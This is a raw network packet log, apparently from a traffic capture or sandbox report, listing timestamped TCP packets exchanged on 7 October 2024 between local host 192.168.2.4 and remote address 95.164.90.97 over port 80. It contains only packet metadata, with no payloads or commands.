Oct 7, 2024 18:43:29.556317091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556377888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556449890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556466103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556482077 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556494951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556495905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556507111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556510925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556524038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556536913 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556556940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556559086 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556566954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556576967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556579113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556586027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556592941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556593895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556610107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556615114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556631088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.556644917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556654930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.556682110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559772015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559786081 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559802055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559814930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559819937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559830904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559839964 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559844971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559860945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559881926 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559895992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559909105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559922934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559937954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559947968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559952021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559966087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559968948 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.559979916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559993982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.559994936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560008049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560009003 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560023069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560034037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560050964 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560065985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560122967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560137987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560159922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560168982 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560174942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560185909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560189962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560201883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560204029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560224056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560240030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560257912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560276031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560292006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560307026 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560313940 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560321093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560326099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560338974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560343027 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560353041 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560359001 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560367107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560380936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560395002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560410023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560419083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560419083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560419083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560419083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560435057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560437918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560445070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560461044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560475111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560475111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560502052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560503006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560502052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560512066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560513973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560519934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560545921 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560573101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560587883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560604095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560619116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560631037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560632944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560647011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560647964 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560661077 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560662031 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560677052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560687065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560691118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560709953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560729980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560733080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560745001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560766935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560766935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560775995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560782909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560786009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560792923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560797930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560801983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560806036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560821056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560822010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560830116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560837030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560837030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560868025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560873032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560887098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560902119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560905933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560916901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560926914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560930967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560945034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560945988 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560960054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560962915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.560975075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.560991049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561012983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561029911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561043978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561058044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561073065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561080933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561096907 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561114073 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561187029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561223030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561306000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561320066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.561341047 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.561358929 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564102888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564116955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564147949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564162016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564270020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564284086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564299107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564311028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564351082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564351082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564364910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564378977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564393044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564407110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564408064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564419985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564424992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564434052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564445019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564448118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564461946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564472914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564475060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564488888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564497948 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564502001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564508915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564517021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.564538956 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.564560890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.565356970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.565371037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.565387964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.565397024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.565438032 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.565438032 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.937853098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937869072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937879086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937889099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937897921 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937925100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.937933922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937944889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937953949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937961102 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.937963963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937973976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937982082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.937983036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.937993050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938002110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938002110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938010931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938019991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938019991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938030958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938040018 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938044071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938049078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938059092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938066959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938069105 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938087940 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938101053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938106060 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938112020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938121080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938129902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938133955 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938139915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938148975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938155890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938158989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938169003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938177109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938179016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938186884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938195944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938196898 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938205957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938214064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938215971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938225985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938225985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938235044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938244104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938250065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938252926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938262939 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938271999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938275099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938282013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938292027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938296080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938309908 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938327074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938333035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938343048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938352108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938360929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938366890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938369989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938379049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938380003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938390017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938395023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938400030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938409090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938416004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938419104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938429117 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938432932 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938438892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938452005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938471079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938508987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938519001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938525915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938534975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938544035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938544989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938554049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938563108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938564062 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938571930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938580990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938586950 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938590050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938600063 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938606024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938608885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938617945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938623905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938627958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938632011 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938637972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938647985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938658953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938682079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938688993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938699007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938707113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938718081 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938723087 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938726902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938736916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938744068 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938745975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938765049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938777924 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938890934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938918114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938926935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938926935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938936949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938946962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938951015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938956022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938962936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938966036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938977003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938981056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.938986063 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.938994884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939002037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939004898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939013958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939018965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939023018 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939032078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939038038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939042091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939050913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939055920 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939059973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939069033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.939074993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.939080000 CEST	80	49742	95.164.90.97	192.168.2.4
